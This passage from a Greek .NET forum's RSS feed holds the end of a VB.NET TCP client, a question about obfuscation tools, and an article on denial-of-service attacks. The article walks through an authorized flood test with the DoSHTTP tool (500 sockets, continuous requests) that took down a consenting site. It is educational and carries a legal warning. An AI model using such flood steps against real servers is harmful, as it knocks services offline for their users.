                     sInformation &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"Server Respond @ "&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;+&lt;/span&gt; DateTime.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Now&lt;/span&gt;.ToString
                     ListBox1.Items.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Add&lt;/span&gt;(sInformation)

                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Else&lt;/span&gt;
                     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Send the request &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; the server.
                     s &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"2"&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;+&lt;/span&gt; TextBox_URL.Text
                     sendBytes &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; Encoding.ASCII.GetBytes(s)
                     networkStream.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Write&lt;/span&gt;(sendBytes, 0, sendBytes.Length)

                     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Read the Packet: The HTML page.
                     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Loop&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; receive all the data sent by the server.
                     s &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;""&lt;/span&gt;
                     i &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; networkStream.Read(bytes, 0, bytes.Length)
                     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;While&lt;/span&gt; (i &amp;lt;&amp;gt; 0)
                         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Translate data bytes &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; a UTF8 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;string&lt;/span&gt;.
                         s += System.Text.Encoding.UTF8.GetString(bytes, 0, i)
                         i &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; networkStream.Read(bytes, 0, bytes.Length)
                     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;End&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;While&lt;/span&gt;

                     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Inform the user about the response time
                     sInformation &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"Server Respond @ "&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;+&lt;/span&gt; DateTime.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Now&lt;/span&gt;.ToString
                     ListBox1.Items.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Add&lt;/span&gt;(sInformation)


                     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; Update the ritch-text &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;with&lt;/span&gt; the HTML response.
                     RichTextBox1.Text &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; s

                     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Write&lt;/span&gt; the HTML contents &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; a file &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;and&lt;/span&gt; force browser &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; read it.
                     Using sw &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; StreamWriter &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;New&lt;/span&gt; StreamWriter(&lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"CurrentReadPage.htm"&lt;/span&gt;, &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;False&lt;/span&gt;, System.Text.Encoding.GetEncoding(&lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"UTF-8"&lt;/span&gt;))
                         sw.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Write&lt;/span&gt;(s)
                         sw.Close()
                     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;End&lt;/span&gt; Using
                     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; sCurrentFilePath &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;String&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; Environment.CurrentDirectory()
                     sCurrentFilePath += &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"\CurrentReadPage.htm"&lt;/span&gt;
                     WebBrowser1.Navigate(sCurrentFilePath)


                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;End&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;If&lt;/span&gt;
             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Else&lt;/span&gt;
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;If&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Not&lt;/span&gt; networkStream.CanRead &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Then&lt;/span&gt;
                     ListBox1.Items.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Add&lt;/span&gt;(&lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"Fail to write data to the stream."&lt;/span&gt;)
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;ElseIf&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Not&lt;/span&gt; networkStream.CanWrite &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Then&lt;/span&gt;
                     ListBox1.Items.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Add&lt;/span&gt;(&lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"Fail to read data from the stream."&lt;/span&gt;)
                     tcpClient.Close()
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;End&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;If&lt;/span&gt;
             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;End&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;If&lt;/span&gt;
         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Catch&lt;/span&gt; ex &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; Exception
             ListBox1.Items.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Add&lt;/span&gt;(ex.Message)
         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;End&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Try&lt;/span&gt;


     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;End&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Sub&lt;/span&gt;
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;End&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Class&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description></item><item><title>Επιλογή εργαλείου obfuscation</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/39922.aspx</link><pubDate>Thu, 07 Feb 2008 20:14:11 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:39922</guid><dc:creator>Dimitris Papadimitriou</dc:creator><slash:comments>10</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/39922.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=39922</wfw:commentRss><description>&lt;p&gt;Στο παρελθόν είχε γίνει μια πολύ ωραία &lt;a href="http://www.dotnetzone.gr/cs/forums/thread/2032.aspx" target="_blank"&gt;συζήτηση περί licensing, obfuscating, hasps&lt;/a&gt; κλπ. Προσωπικά είχα αποδεχθεί πλήρως την διαπίστωση του babouranos:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;hasp για να νομίζει ο πελάτης ότι είναι κλειδωμένο&lt;/li&gt;&lt;li&gt;obfuscation για να νομίζω εγώ ότι είναι κλειδωμένο&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Λοιπόν, δεχόμενοι τα παραπάνω, έχετε να προτείνετε κάποιο obfuscation εργαλείο;&lt;/p&gt;&lt;p&gt;Τα χαρακτηριστικά που με ενδιαφέρουν είναι:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;απλό obfuscation που να μπερδεύει λίγο τον κώδικα (να μην μπορεί δηλαδή ο κάθε "εξυπνάκιας" που μόλις ανακάλυψε το reflector να τον πηράζει ή να τον κατανοεί και να προτείνει ότι κουταμάρα του έρθει στο κεφάλι).&lt;br&gt;&lt;/li&gt;&lt;li&gt;εύκολη χρήση μέσω command line έτσι ώστε να γίνεται καλό integration με τα υπάρχοντα εργαλεία building που χρησιμοποιώ&lt;br&gt;&lt;/li&gt;&lt;/ul&gt;</description></item><item><title>(D)Dos Attacks</title><link>https://www.dotnetzone.gr:443/cs/forums/thread/54232.aspx</link><pubDate>Sun, 04 Oct 2009 19:57:42 GMT</pubDate><guid isPermaLink="false">2622095e-976c-431a-859e-16783ec7ecd7:54232</guid><dc:creator>Thiseas</dc:creator><slash:comments>1</slash:comments><comments>https://www.dotnetzone.gr:443/cs/forums/thread/54232.aspx</comments><wfw:commentRss>https://www.dotnetzone.gr:443/cs/forums/commentrss.aspx?SectionID=139&amp;PostID=54232</wfw:commentRss><description>&lt;P&gt;Έτος: 1999. Περιοχή Αττική.&amp;nbsp; Ένας αρκετά ισχυρός σεισμός μεγέθους 5.7 της κλίμακας ρίχτερ, με επίκεντρο την Πάρνηθα πλήττει το λεκανοπέδιο (και όχι μόνο) στις 14:57. Έντρομοι οι κάτοικοι βγαίνουν στους δρόμους. Προσπαθούν να επικοινωνήσουν με τους δικούς τους ανθρώπους. Μάταια! Τα κινητά τηλέφωνα δεν... ανταποκρίνονται! Μα τι έγινε; Μήπως γκρεμίστηκε καμιά κεντρική κεραία του ΟΤΕ; Γιατί δεν έχουμε επικοινωνία; Τι συνέβει; &lt;/P&gt;
&lt;P&gt;Χμμ... το αυτονόητο. Αυτό που λέγαμε κάποτε (εμείς οι πιο παλιοί!!) "μπλόκαραν" οι γραμμές! Οι βάσεις δεδομένων των παρόχων κινητής τηλεφωνίας δεν ήταν προετοιμασμένες να δεχθούν ένα τόσο μεγάλο αριθμό κλήσεων και "παρέδωσαν" πνεύμα ή αλλιώς αρνήθηκαν να εξυπηρετήσουν και σε πιο Ελληνικά κάνανε deny of services (DOS - μην μπερδεύετε το DOS (Denial Of Services) με το γνωστό και μη εξαιρεταίο DOS (Disk Operating System) που σαν λειτουργικό σύστημα μεσουρανούσε τη 10ετία του '80. Είναι δύο εντελώς διαφορετικά πράγματα.). &lt;/P&gt;
&lt;P&gt;Χωρίς να το θέλουνε οι Αθηναίοι πραγματοποίησαν μια επίθεση Denial Of Services (DOS attack) ή καλύτερα Distributed Denial Of Services (DDOS attack) γιατί ήτανε παραπάνω από... ένας, στους servers των παρόχων κινητής τηλεφωνίας. Φυσικό επακόλουθο είναι οι servers αυτοί να "γονατίσουν" μην μπορώντας να εξυπηρετήσουν τόσες πολλές αιτήσεις κλήσεων μαζεμένες!&lt;/P&gt;
&lt;P&gt;Παρόμοιες επιθέσεις μπορούν να γίνουν σε οποιονδήποτε server ή σύστημα εξυπηρέτησης γενικότερα. Εντάξει, δεν έχουμε σκοπό να κάνουμε συστημική ανάλυση (σε αυτό το άρθρο τουλάχιστον!) αλλά θα πρέπει να αναφέρουμε οτι τέτοιες επιθέσεις δεν γίνονται πάντα "κατά λάθος" ή λόγω "συγκυριών". Μπορούν να συμβούν (ηθελημένα ή μη) από ένα απλό pc χωρίς σύνδεση στο internet μέχρι σε ένα... κοινωνικό σύστημα!! Ας περιοριστούμε όμως στον τομέα μας, που αφορά έναν πιο virtual κόσμο: τον ηλεκτρονικό.&lt;/P&gt;
&lt;P&gt;Κάθε ενέργεια που οδηγεί ένα σύστημα στο να μην μπορεί να ανταποκριθεί για αυτό που φτιάχτηκε μπορεί να καταταχθεί (άλλοτε περισσότερο και άλλοτε λιγότερο) στην κατηγορία των επιθέσεων DOS. Είναι αυτό που λέμε κοινά: "Μα τι έκανες βρε παιδί μου εκεί? Το χάλασες!!!" ;-)&lt;/P&gt;
&lt;P&gt;&lt;IMG src="http://s3cure.gr/myimages/dos_pic1.jpg"&gt;&lt;/P&gt;
&lt;P&gt;Εικόνα 1: Η κλασική οθόνη του firefox, που μας πληροφορεί οτι ο server δεν... ανταποκρίνεται!&lt;/P&gt;
&lt;P&gt;Στον κόσμο των υπολογιστών το φαινόμενο αυτό είναι αρκετά συχνό και μπορούμε να το χωρίσουμε σε δύο βασικές κατηγορίες όσο αφορά στην "πρόθεση" του επιτηθέμενου. Στην πρώτη κατηγορία έχουμε τις καλές προθέσεις. Δηλαδή δεν υπήρχε δόλος, πρόθεση στο να προκληθεί ζημιά. Δεν θα ασχοληθούμε πολύ με αυτές τις επιθέσεις, απλά θα αναφέρουμε ένα πράδειγμα:&lt;BR&gt;Έστω οτι διατηρούμε ένα forum (ας πούμε για security) σε κάποιον server στο internet. Το forum μας δεν είναι πολυσύχναστο, άντε το πολύ καμιά 10αριά άτομα να μπαίνουνε την ημέρα. Μια δεδομένη χρονική στιγμή όμως ανακαλύπτουμε μια πολύ μεγάλη "τρύπα" ασφάλειας σε κάποιο πολύ γνωστό λειτουργικό σύστημα (ονόματα δεν λέμε!! - όσο κι αν μας πιέσετε) και την δημοσιεύουμε σε ένα ποστ με τον τίτλο "Μεγάλη Τρύπα!". Η "Μεγάλη Τρύπα!" παίρνει δημοσιότητα και αναφέρετε σαν link στο γνωστό &lt;A href="http://slashdot.org/"&gt;http://slashdot.org/&lt;/A&gt;, δηλαδή σε ένα site που δέχεται καμια 200 χιλιάδες επισκέψεις ημερησιως! Ξαφνικά, εκατοντάδες users αρχίζουν να επισκέπτονται το site μας για να δούνε την "Μεγάλη Τρύπα!". Αν ο server μας δεν είναι έτοιμος να ανταπεξέλθει στις νέες συνθήκες, απλά θα σταματήσει να εξυπηρετεί της κλήσεις (βλέπε εικόνα 1 - φαινόμενο slashdot!!). Στο τέλος του άρθρου θα πούμε μερικά μικρά μυστικά που θα μπορούσαν να κάνουν τον server μας να μπορεί (ή τουλάχιστον να προσπαθεί!) να ανταποκρίνεται σε τέτοιες καταστάσεις.&lt;/P&gt;
&lt;P&gt;&lt;IMG src="http://s3cure.gr/myimages/dos_pic2.jpg"&gt;&lt;BR&gt;Εικόνα 2: Το site του γνωστού μας, αμέριμνο πριν δεχτεί την επίθεση (εδώ φαίνεται στον firefox 3 μέσα από ένα σύστημα linux)!&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;Ας έρθουμε τώρα στην σκοτεινή πλευρά! (εδώ κανονικά ξεκινάει να παίζει και η μουσική του... twilight zone&amp;nbsp;&lt;A href="http://www.youtube.com/watch?v=NzlG28B-R8Y"&gt;http://www.youtube.com/watch?v=NzlG28B-R8Y&lt;/A&gt;, δηστυχώς όμως δεν έχουμε την δυνατότητα&amp;nbsp;να το κάνουμε αυτό... άμεσα&amp;nbsp; ;-)&lt;BR&gt;Τις επιθέσεις που γίνονται επίτηδες με σκοπό να σταματήσει ο server να ανταποκρίνεται. Τα είδη των επιθέσεων είναι πάρα πολλά (&lt;A href="http://tinyurl.com/2c59m4"&gt;http://tinyurl.com/2c59m4&lt;/A&gt;) και δεν μας ενδιαφέρει η απλή παράθεση τους η οποία μπορεί να βρεθεί πολύ εύκολα στο net. Άλλοστε εμάς μας αφορά η... ανορθόδοξη προσέγγιση των θεμάτων ;-) &lt;BR&gt;θα παρουσιάσουμε ένα παραγματικό παράδειγμα επίθεσης (μέ όλα τα... απότελέσματα του!!) από windows Vista. Επίσης, θα δείξουμε πως φτιάχνονται τέτοια προγράμματα, δείχνοντας ένα απλό πρόγραμμα σε γλώσσα perl, αυτή τη φορά σε Linux Ubuntu. Θα δείξουμε, ακόμα, πως δοκιμάσαμε αυτό το πρόγραμμα με θύμα (αυτή τη φορά) τον... εαυτό μας! Τέλος, θα αναφέρουμε τεχνικές αντιμετώπισης ηθελημένων ή μη επιθέσεων dos.&lt;/P&gt;
&lt;P&gt;Πριν ξεκινήσουμε, όμως, πρέπει να αναφέρουμε οτι απαγορεύεται αυστηρά η χρήση και η εκτέλεση προγραμμάτων για επιθέσεις DOS παρά μόνο αν είμαστε οι ιδιοκτήτες του site και ο server είναι δικός μας ή το κάνουμε με την σύμφωνη γνώμη του ιδιοκτήτη! θέλουμε να σας τονίσουμε να μην κάνετε επιπόλαιη ή μη εξουσιοδοτημένη χρήση όσων παρουσιαστούν παρακάτω μιας και είναι πολύ πιθανό ο administrator του προς επίθεση server να κινηθεί νομικά εναντίον σας και να αντιμετωπίσετε σοβαρές κυρώσεις.&lt;/P&gt;
&lt;H2&gt;Επίθεση από Windows Vista&lt;/H2&gt;
&lt;P&gt;Η πιο κοινή επίθεση είναι να στείλουμε τυχαία δεδομένα - σκουπίδια(flood) στον server στον οποίο θέλουμε να δοκιμάσουμε την αντοχή. Τα δεδομένα αυτά θα είναι τυχαία bytes, kBytes ή και Μβytes και θα αποστέλονται από ένα πρόγραμμα το οποίο θα δημιουργεί (στην μνήμη) πολλαπλές συνδέσεις (multiple asynchronous sockets) με τον server για να αυξήσει τόσο τον όγκο των δεδομένων που στέλονται όσο και το πλήθος των συνδέσεων. Το αποτέλεσμα όπως θα δείτε είναι η άρνηση εξυπηρέτησης από τον server. Το αξιοσημείωτο στην περίπτωση αυτή δεν είναι τόσο το αποτέλεσμα όσο οι... παράπλευρες απώλειες όπως θα δείτε στην συνέχεια, καθώς επίσης και η αντίδραση του ιδιοκτήτη της υπηρεσίας Host που (ομολογουμένως) είχε όλο το δίκιο να διαμαρτυρηθεί!!&lt;BR&gt;Θα σας δείξουμε λοιπόν ένα πραγματικό και "πλήρη" κύκλο μιας επίθεσης!&lt;/P&gt;
&lt;P&gt;Για την συγκεκριμένη επίθεση χρησιμποιήσαμε ένα έτοιμο πρόγραμμα το οποίο κυκλοφορεί στο εμπόριο και το οποίο χρησιμοποιείται για δοκιμές "αντοχής" σε servers από επιθέσεις DOS (servers crash tests). Το πρόγραμμα αυτό είναι το DoSHTTP (εικόνα 3) και μπορείτε να κατεβάσετε μια evaluation έκδοση από το site της εταιρίας που το δημιούργησε (&lt;A href="http://socketsoft.net/"&gt;http://socketsoft.net/&lt;/A&gt;).&lt;/P&gt;
&lt;P&gt;&lt;IMG src="http://s3cure.gr/myimages/dos_pic3.jpg"&gt;&lt;BR&gt;Εικόνα 3: Ένα πρόγραμμα για δοκιμές "αντοχής" σε επιθέσης DOS (servers crash tests)&lt;/P&gt;
&lt;P&gt;Το site που θα δεχτεί την επίθεση είναι ένα ελληνικό portal/forum (εικόνα 2) που αφορά στο security του οποίου γνωρίζουμε τους διαχειριστές του και είχαμε την σύμφωνη γνώμη τους. Το μόνο που είχαμε να κάνουμε είναι να τρέξουμε το πρόγραμμα και να δώσουμε την διεύθυνση του site θύματος (εικόνα 3). Στο πεδία της φόρμας αφήσαμε τα defaults: Ο user agent αφορά στις πληροφορίες του http header και στα πεδία Sockets (συνδέσεις) και Requests (τύπος αιτήσεων) βάλαμε αντίστοιχα 500 (συνδέσεις) και continuous (συνεχής συνδέσεις με τον server – περισσότερες λεπτομέρειες δείτε παρακάτω στο "Τρόποι Προστασίας"). Πατώντας το κουμπάκι "Start Flood" το πρόγραμμα ξεκίνησε το θεάρεστο έργο του: Να στέλνει χιλιάδες αιτήσεις (requests) στον server. Καθώς το πρόγραμμα έτρεχε, δοκιμάσαμε να μπούμε στο site με τον firefox. Τα απτελέσματα φαίνονται στην παρακάτω εικόνα:&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&lt;IMG src="http://s3cure.gr/myimages/dos_pic4.jpg"&gt;&lt;BR&gt;Εικόνα 4: Ο server (εδώ για την ακρίβεια ο server της SQL)... "γονάτησε".&lt;/P&gt;
&lt;P&gt;Ο server δεν μπόρεσε να εξυπηρετήσει όλες τις... αιτήσεις και μας "έκοψε". Η αντίδραση είναι αρκετά κλασική σε τέτοιου είδους επίθέσεις. Το πρόγραμμα μας όμως μετά από λίγη ώρα τελείωσε δίνοντας μας σημαντικές πληροφορίες:&lt;/P&gt;
&lt;P&gt;&lt;IMG src="http://s3cure.gr/myimages/dos_pic5.jpg"&gt;&lt;BR&gt;Εικόνα 5: Μετά το τέλος του dOs έχουμε και... στατιστικά στοιχεία!&lt;/P&gt;
